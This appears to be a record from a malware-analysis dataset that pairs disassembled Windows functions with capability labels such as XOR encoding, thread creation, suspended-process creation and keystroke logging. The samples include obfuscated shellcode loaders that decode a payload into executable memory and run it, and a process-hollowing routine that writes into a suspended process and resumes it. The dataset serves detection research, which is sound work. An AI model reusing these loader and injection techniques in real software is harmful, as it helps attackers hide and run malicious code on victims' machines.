joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40d3d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40d3df
pop dword [ebp - 0x50]
mov eax, 0x40d3df
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0xfe997d5c
add dword [ebp - 0x60], 0x4fb8c7ef
mov dword [ebp - 0x5c], 0x3e62e66
add dword [ebp - 0x5c], 0x2e4d1ddf
mov dword [ebp - 0x58], 0x4d219349
add dword [ebp - 0x58], 0xff2ab0e5
mov dword [ebp - 0x54], 0xf3ab2eca
add dword [ebp - 0x54], 0xc54d136
lea eax, [ebp - 0x60]
push eax
mov eax, 0x7a0dc0ba
add eax, 0x86337fd6
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0xc6999e97
sub dword [ebp - 0x60], 0x52273541
mov dword [ebp - 0x5c], 0x5fe36f60
sub dword [ebp - 0x5c], 0x1e770deb
mov dword [ebp - 0x58], 0x11971706
sub dword [ebp - 0x58], 0xae27aa9a
mov dword [ebp - 0x54], 0x1fe1307a
sub dword [ebp - 0x54], 0x1fe1307a
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, 0xf41ebfac
sub eax, 0xf3dd7f70
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3b0d5
push 0
call eax
mov ecx, 0xa1b7e3fd
add ecx, 0x5e486524
xor ebx, ebx
add ebx, eax
mov esi, 0xb246d15d
add esi, 0x4dfaeea3
add esi, dword [ebp - 0x50]
mov edx, 0x4da59f6e
xor dword [ebp - 0x28], 0x20894fd7
mov edi, dword [esi]
add dword [ebp - 0x30], 0xd07cc620
sub edi, edx
mov dword [ebx], edi
add dword [ebp - 0x24], eax
add ebx, 0x3a728fff
add ebx, 0xc58d7005
add esi, 4
loop 0x40d4f8
add eax, 0xad06e0ec
sub eax, 0xad05c995
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x410b90
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 4
mov esi, ecx
call main
pop ecx
xor ecx, ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x410bac
mov dword [eax], ecx
jmp 0x410bae
mov eax, ecx
push ecx
push ecx
push esi
push 0x410c20
push ecx
push ecx
mov dword [esi + 0x10], eax
call dword [sym.imp.kernel32.dll_CreateThread]
mov ecx, dword [esi + 0x10]
pop esi
mov dword [ecx], eax
leave
ret
Function at 0x401c57
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x401c66
pop dword [ebp - 0x18]
mov eax, 0xa4d96d35
sub eax, 0xa49950cf
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xbba26432
add dword [ebp - 0x28], 0x92afe119
mov dword [ebp - 0x24], 0xa84a9370
add dword [ebp - 0x24], 0x89e8b8d5
mov dword [ebp - 0x20], 0x65408e6d
sub dword [ebp - 0x20], 0x18f44a3f
mov dword [ebp - 0x1c], 0x3f13d9ae
sub dword [ebp - 0x1c], 0x3f13d9ae
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x3e8117ee
add dword [ebp - 0x28], 0x35f15168
mov dword [ebp - 0x24], 0x5c44ecc6
sub dword [ebp - 0x24], 0x1ad88b51
mov dword [ebp - 0x20], 0x93bd646d
add dword [ebp - 0x20], 0xcfb207ff
mov dword [ebp - 0x1c], 0x7bade40
add dword [ebp - 0x1c], 0xf84521c0
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x34b26
push 0
call eax
mov ecx, 0x5d34d07
add ecx, 0xfa2cf3d6
xor edx, edx
add edx, eax
mov edi, 0x67d6c131
add edi, 0x9869aecf
add edi, dword [ebp - 0x18]
mov esi, 0xbeee5ac5
sub esi, 0xe2c23f6c
xor dword [ebp - 0x10], 0x4094a7b7
mov ebx, dword [edi]
xor dword [ebp - 0x14], 0xa256f1df
sub ebx, esi
mov dword [ebp - 0xc], 0x8326556c
mov dword [edx], ebx
add dword [ebp - 0x14], esi
add edx, 0xe9a5e3b6
sub edx, 0xe9a5e3b2
add edi, 0x2b15fd44
add edi, 0xd4ea02c0
loop 0x401d80
add eax, 0x57e281a5
sub eax, 0x57e18b5e
mov ebx, eax
add eax, 5
mov ecx, 0xe098a67a
add ecx, 0x1fa75986
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x401fb2
Capabilities:
Delete file
Move file

Disassembly:
mov ecx, 0x404f28
jmp fcn.0040170c

Function at 0x401ff6
Capabilities:
Check if file exists
Delete directory
Get file attributes

Disassembly:
push esi
mov esi, 0x404f28
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x402013
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
je 0x402018
push 1
pop eax
pop esi
ret
call fcn.00401fb2
pop esi
ret
Function at 0x100013f0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], edx
push eax
lea eax, [ebp - 0x7c]
mov dword [ebp - 0x7c], 0x44
push eax
push 0
push 0
push 4
push 0
xorps xmm0, xmm0
push 0
push 0
push ecx
push 0
movlpd qword [ebp - 0x78], xmm0
movlpd qword [ebp - 0x70], xmm0
movlpd qword [ebp - 0x68], xmm0
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movups xmmword [ebp - 0x1c], xmm0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 8], eax
test eax, eax
je 0x100014e8
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.GetThreadContext
push 0x10012d24
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
push 0x10012d34
push 0x10012d24
mov ebx, eax
call edi
push eax
call esi
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1c]
mov esi, dword [ebp - 4]
mov edx, dword [ebp - 0x18]
mov dword [eax], ecx
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push esi
push edx
mov dword [eax], edx
mov eax, dword [ebp - 0x14]
mov dword [ecx], eax
mov dword [esi], 0x10007
call ebx
mov edi, dword [ebp + 0x14]
lea eax, [ebp - 0xc]
mov ebx, dword [ebp + 8]
push eax
mov eax, dword [esi + 0xa4]
push 4
push edi
add eax, 8
push eax
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [edi]
lea eax, [ebp - 0x38]
push 0x1c
push eax
push esi
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov eax, dword [ebp + 0x18]
sub esi, dword [edi]
pop edi
mov dword [eax], esi
mov eax, dword [ebp - 8]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x100014f0
Capabilities:
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e8
push ebx
push esi
push edi
push str.VirtualAllocEx
push str.Kernel32.dll
mov esi, edx
mov edi, ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], 0xffffffff
test edi, edi
jne 0x10001531
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
push str.VirtualProtectEx
push 0x10012d24
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call ebx
mov dword [ebp - 0x14], eax
lea edx, [ebp - 0x2e8]
lea eax, [ebp - 0x1c]
mov ecx, edi
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp + 0x14]
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.100013f0
mov edi, dword [ebp - 0xc]
add esp, 0x14
test eax, eax
je 0x100016bc
mov edx, dword [ebp - 0x18]
mov ebx, dword [ebp + 0x10]
mov dword [ebp - 4], 0
cmp dword [esi + 0x34], edx
jne 0x1000159f
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jb 0x1000159f
lea ecx, [ebp - 0xc]
mov dword [ebp - 4], edx
push ecx
push 0x40
push eax
push edx
push edi
call dword [ebp - 0x14]
jmp 0x100015f4
cmp dword [ebp - 8], 0
je 0x100015f4
mov ecx, edi
call fcn.100013a0
test eax, eax
je 0x100015c4
push 0x40
push 0x3000
push ebx
push dword [esi + 0x34]
push edi
call dword [ebp - 8]
mov dword [ebp - 4], eax
jmp 0x100015c7
mov eax, dword [ebp - 4]
test eax, eax
jne 0x100015f4
mov ecx, esi
call fcn.10001370
test eax, eax
je 0x100015f4
push 0x40
push 0x3000
push ebx
push 0
push edi
call dword [ebp - 8]
mov dword [ebp - 4], eax
test eax, eax
je 0x100015f4
push ecx
call fcn.10001390
add esp, 4
push str.WriteProcessMemory
push 0x10012d24
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.SetThreadContext
push 0x10012d24
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp dword [ebp - 4], 0
mov dword [ebp - 0x14], eax
je 0x100016a2
mov ecx, dword [ebp - 0x244]
lea eax, [ebp - 0xc]
push eax
push 4
lea eax, [ebp - 4]
add ecx, 8
push eax
push ecx
push edi
call dword [ebp - 8]
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push ecx
push ebx
push dword [ebp + 0xc]
mov dword [esi + 0x34], eax
push eax
push edi
call dword [ebp - 8]
test eax, eax
je 0x100016a2
mov eax, dword [ebp - 4]
mov ecx, dword [esi + 0x28]
mov dword [ebp - 0x2e8], 0x10007
cmp eax, dword [ebp - 0x18]
jne 0x10001675
mov eax, dword [esi + 0x34]
mov esi, dword [ebp - 0x10]
add eax, ecx
mov dword [ebp - 0x238], eax
lea eax, [ebp - 0x2e8]
push eax
push esi
call dword [ebp - 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
or edi, 0xffffffff
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001750
Capabilities:
Encode data using xor

Disassembly:
movaps xmm1, xmmword [0x10012de0]
xor eax, eax
test edx, edx
je 0x100017a6
cmp edx, 0x10
jb 0x10001791
push esi
mov esi, edx
and esi, 0xfffffff0
nop dword [eax + eax]
movups xmm0, xmmword [ecx]
add eax, 0x10
pxor xmm0, xmm1
paddb xmm0, xmm1
pxor xmm0, xmm1
movups xmmword [ecx], xmm0
add ecx, 0x10
cmp eax, esi
jb 0x10001770
pop esi
cmp eax, edx
jae 0x100017a6
sub edx, eax
mov al, byte [ecx]
lea ecx, [ecx + 1]
xor al, 0x7b
add al, 0x7b
xor al, 0x7b
mov byte [ecx - 1], al
sub edx, 1
jne 0x10001793
ret

Function at 0x100017b0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 1
push dword [ebp + 8]
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100017e3
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.1000226a
push esi
mov edi, eax
push 0
push edi
call fcn.10003950
add esp, 0x10
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ecx
mov edx, esi
mov ecx, edi
call fcn.10001750
push dword [ebp - 8]
mov edx, esi
mov ecx, edi
push dword [ebp - 0xc]
call fcn.100016d0
push edi
mov esi, eax
call fcn.10002273
add esp, 0x10
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a7a2e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x5ef9b0
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x40
cmp dword [0x643cec], 1
jge 0x5efa1f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
je 0x5ef9f5
mov edx, dword [ebx + 8]
movzx eax, word [edx]
movzx ecx, word [ebx + 0xc]
cmp eax, ecx
je 0x5ef9f5
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x5ef9d2
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x5efa0b
mov eax, dword [ebx + 8]
mov dword [ebp - 4], eax
jmp 0x5efa12
mov dword [ebp - 4], 0
mov eax, dword [ebp - 4]
jmp 0x5efb0f
movzx ecx, word [ebx + 0xc]
movd xmm0, ecx
movaps xmmword [ebp - 0x30], xmm0
pshuflw xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
pshufd xmm0, xmmword [ebp - 0x30], 0
movaps xmmword [ebp - 0x30], xmm0
mov edx, dword [ebx + 8]
and edx, 0xfff
cmp edx, 0xff0
ja 0x5efae0
mov eax, dword [ebx + 8]
movups xmm0, xmmword [eax]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pxor xmm0, xmmword [ebp - 0x20]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pcmpeqw xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x40]
pcmpeqw xmm0, xmmword [ebp - 0x30]
movaps xmmword [ebp - 0x40], xmm0
movaps xmm0, xmmword [ebp - 0x20]
por xmm0, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x20], xmm0
movaps xmm0, xmmword [ebp - 0x20]
pmovmskb ecx, xmm0
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0
je 0x5efad5
bsf edx, dword [ebp - 8]
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebx + 8]
mov dword [ebx + 8], eax
mov ecx, dword [ebx + 8]
movzx edx, word [ecx]
movzx eax, word [ebx + 0xc]
cmp edx, eax
jne 0x5efac9
mov ecx, dword [ebx + 8]
mov dword [ebp - 0xc], ecx
jmp 0x5efad0
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
jmp 0x5efb0f
mov edx, dword [ebx + 8]
add edx, 0x10
mov dword [ebx + 8], edx
jmp 0x5efb0a
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
movzx edx, word [ebx + 0xc]
cmp ecx, edx
jne 0x5efaf3
mov eax, dword [ebx + 8]
jmp 0x5efb0f
mov eax, dword [ebx + 8]
movzx ecx, word [eax]
test ecx, ecx
jne 0x5efb01
xor eax, eax
jmp 0x5efb0f
mov edx, dword [ebx + 8]
add edx, 2
mov dword [ebx + 8], edx
jmp 0x5efa3f
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x4ce8d0
Capabilities:
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xf8
push ebx
push esi
push edi
lea edi, [ebp - 0x38]
mov ecx, 0xe
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x6410d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov ecx, 0x647123
call fcn.004a86ea
mov esi, esp
push 0
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
cmp esi, esp
call fcn.004a6d1d
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x30], 1
mov ax, word [ebp - 0xc]
mov word [ebp - 0x2a], ax
cmp dword [ebp + 0xc], 0
je 0x4ce938
mov dword [ebp - 0xf8], 2
jmp 0x4ce942
mov dword [ebp - 0xf8], 0
mov eax, dword [ebp - 0xf8]
or eax, 8
mov dword [ebp - 0x28], eax
mov esi, esp
push 0x1c
lea eax, [ebp - 0x30]
push eax
push 1
call dword [sym.imp.USER32.dll_SendInput]
cmp esi, esp
call fcn.004a6d1d
push edx
mov ecx, ebp
push eax
lea edx, [0x4ce994]
call fcn.004a63ef
pop eax
pop edx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a55a3
add esp, 0xf8
cmp ebp, esp
call fcn.004a6d1d
mov esp, ebp
pop ebp
ret
Function at 0x5bbfc0
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.004a3fbe
mov eax, dword [0x6410d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x644cf0]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x1420], ecx
mov edx, dword [ebp - 0x1420]
cmp edx, dword [ebp - 0x1424]
jae 0x5bc198
lea eax, [ebp - 5]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1418], ecx
mov edx, dword [ebp - 0x1418]
cmp edx, dword [ebp - 0x1430]
jae 0x5bc0e7
mov eax, dword [ebp - 0x1420]
cmp eax, dword [ebp - 0x1424]
jae 0x5bc0e7
mov ecx, dword [ebp - 0x1420]
mov dl, byte [ecx]
mov byte [ebp - 0x1419], dl
mov eax, dword [ebp - 0x1420]
add eax, 1
mov dword [ebp - 0x1420], eax
mov cl, byte [ebp - 0x1419]
mov byte [ebp - 0x1411], cl
movsx edx, byte [ebp - 0x1411]
cmp edx, 0xa
jne 0x5bc0c5
mov eax, dword [ebp - 0x1408]
add eax, 1
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp - 0x1418]
mov byte [ecx], 0xd
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
mov eax, dword [ebp - 0x1418]
mov cl, byte [ebp - 0x1411]
mov byte [eax], cl
mov edx, dword [ebp - 0x1418]
add edx, 1
mov dword [ebp - 0x1418], edx
jmp 0x5bc049
mov eax, dword [ebp - 0x1418]
lea ecx, [ebp - 0x1404]
sub eax, ecx
mov dword [ebp - 0x142c], eax
push 0
lea edx, [ebp - 0x1428]
push edx
mov eax, dword [ebp - 0x142c]
push eax
lea ecx, [ebp - 0x1404]
push ecx
mov edx, dword [ebp - 0x1434]
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x5bc151
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
jmp 0x5bc1b8
mov edx, dword [ebp - 0x140c]
add edx, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], edx
mov eax, dword [ebp - 0x1428]
cmp eax, dword [ebp - 0x142c]
jae 0x5bc193
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x5bc1b8
jmp 0x5bc022
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0x1410]
mov dword [eax], ecx
mov edx, dword [ebp - 0x140c]
mov dword [eax + 4], edx
mov ecx, dword [ebp - 0x1408]
mov dword [eax + 8], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a55a3
mov esp, ebp
pop ebp
ret
Function at 0x5bc250
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x1434
call fcn.004a3fbe
mov eax, dword [0x6410d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
sar eax, 6
mov ecx, dword [ebp + 0xc]
and ecx, 0x3f
imul edx, ecx, 0x38
mov eax, dword [eax*4 + 0x644cf0]
mov ecx, dword [eax + edx + 0x18]
mov dword [ebp - 0x1434], ecx
mov edx, dword [ebp + 0x10]
add edx, dword [ebp + 0x14]
mov dword [ebp - 0x1424], edx
xor eax, eax
mov dword [ebp - 0x1410], eax
mov dword [ebp - 0x140c], eax
mov dword [ebp - 0x1408], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x141c], ecx
mov edx, dword [ebp - 0x141c]
cmp edx, dword [ebp - 0x1424]
jae 0x5bc43b
lea eax, [ebp - 6]
mov dword [ebp - 0x1430], eax
lea ecx, [ebp - 0x1404]
mov dword [ebp - 0x1414], ecx
mov edx, dword [ebp - 0x1414]
cmp edx, dword [ebp - 0x1430]
jae 0x5bc386
mov eax, dword [ebp - 0x141c]
cmp eax, dword [ebp - 0x1424]
jae 0x5bc386
mov ecx, dword [ebp - 0x141c]
mov dx, word [ecx]
mov word [ebp - 0x141e], dx
mov eax, dword [ebp - 0x141c]
add eax, 2
mov dword [ebp - 0x141c], eax
mov cx, word [ebp - 0x141e]
mov word [ebp - 0x1418], cx
movzx edx, word [ebp - 0x1418]
cmp edx, 0xa
jne 0x5bc362
mov eax, dword [ebp - 0x1408]
add eax, 2
mov dword [ebp - 0x1408], eax
mov ecx, 0xd
mov edx, dword [ebp - 0x1414]
mov word [edx], cx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
mov ecx, dword [ebp - 0x1414]
mov dx, word [ebp - 0x1418]
mov word [ecx], dx
mov eax, dword [ebp - 0x1414]
add eax, 2
mov dword [ebp - 0x1414], eax
jmp 0x5bc2d9
mov ecx, dword [ebp - 0x1414]
lea edx, [ebp - 0x1404]
sub ecx, edx
sar ecx, 1
shl ecx, 1
mov dword [ebp - 0x142c], ecx
push 0
lea eax, [ebp - 0x1428]
push eax
mov ecx, dword [ebp - 0x142c]
push ecx
lea edx, [ebp - 0x1404]
push edx
mov eax, dword [ebp - 0x1434]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x5bc3f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1410], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
jmp 0x5bc45b
mov eax, dword [ebp - 0x140c]
add eax, dword [ebp - 0x1428]
mov dword [ebp - 0x140c], eax
mov ecx, dword [ebp - 0x1428]
cmp ecx, dword [ebp - 0x142c]
jae 0x5bc436
mov edx, dword [ebp + 8]
mov eax, dword [ebp - 0x1410]
mov dword [edx], eax
mov ecx, dword [ebp - 0x140c]
mov dword [edx + 4], ecx
mov eax, dword [ebp - 0x1408]
mov dword [edx + 8], eax
mov eax, dword [ebp + 8]
jmp 0x5bc45b
jmp 0x5bc2b2
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x1410]
mov dword [ecx], edx
mov eax, dword [ebp - 0x140c]
mov dword [ecx + 4], eax
mov edx, dword [ebp - 0x1408]
mov dword [ecx + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004a55a3
mov esp, ebp
pop ebp
ret
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1002aaee
pop dword [ebp - 0x3c]
mov eax, 0x1002aaee
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x44effc2c
sub dword [ebp - 0x4c], 0xf69db6e1
mov dword [ebp - 0x48], 0x43ebf9f3
sub dword [ebp - 0x48], 0x11b8adae
mov dword [ebp - 0x44], 0xaf72ac56
add dword [ebp - 0x44], 0x9cd997d8
mov dword [ebp - 0x40], 0x6e2b6604
add dword [ebp - 0x40], 0x91d499fc
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xe9aebdc8
sub eax, 0xd9abfd90
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x6b022bb0
sub dword [ebp - 0x4c], 0xf68fc25a
mov dword [ebp - 0x48], 0xac32c692
sub dword [ebp - 0x48], 0x6ac6651d
mov dword [ebp - 0x44], 0x85f80676
add dword [ebp - 0x44], 0xdd7765f6
mov dword [ebp - 0x40], 0xebc2fca
add dword [ebp - 0x40], 0xf143d036
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x34350
push 0
call eax
mov ecx, 0xab86885
sub ecx, 0xab82990
mov edx, eax
mov esi, 0x99d49c1c
add esi, 0x762ef9e4
add esi, dword [ebp - 0x3c]
mov ebx, 0x767dabdf
add dword [ebp - 0x14], esi
mov edi, dword [esi]
xor dword [ebp - 0x2c], 0x31851575
add edi, ebx
add dword [ebp - 0x30], ecx
mov dword [edx], edi
add dword [ebp - 0x24], 0x8f9f51e9
add edx, 4
add esi, 0x883083f3
sub esi, 0x883083ef
loop 0x1002ac00
add eax, 0x27836ad1
add eax, 0xd87d83d6
mov ebx, eax
add eax, 0x394ace52
add eax, 0xc6b531b3
mov ecx, 0x1be047f7
add ecx, 0xf41fb809
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret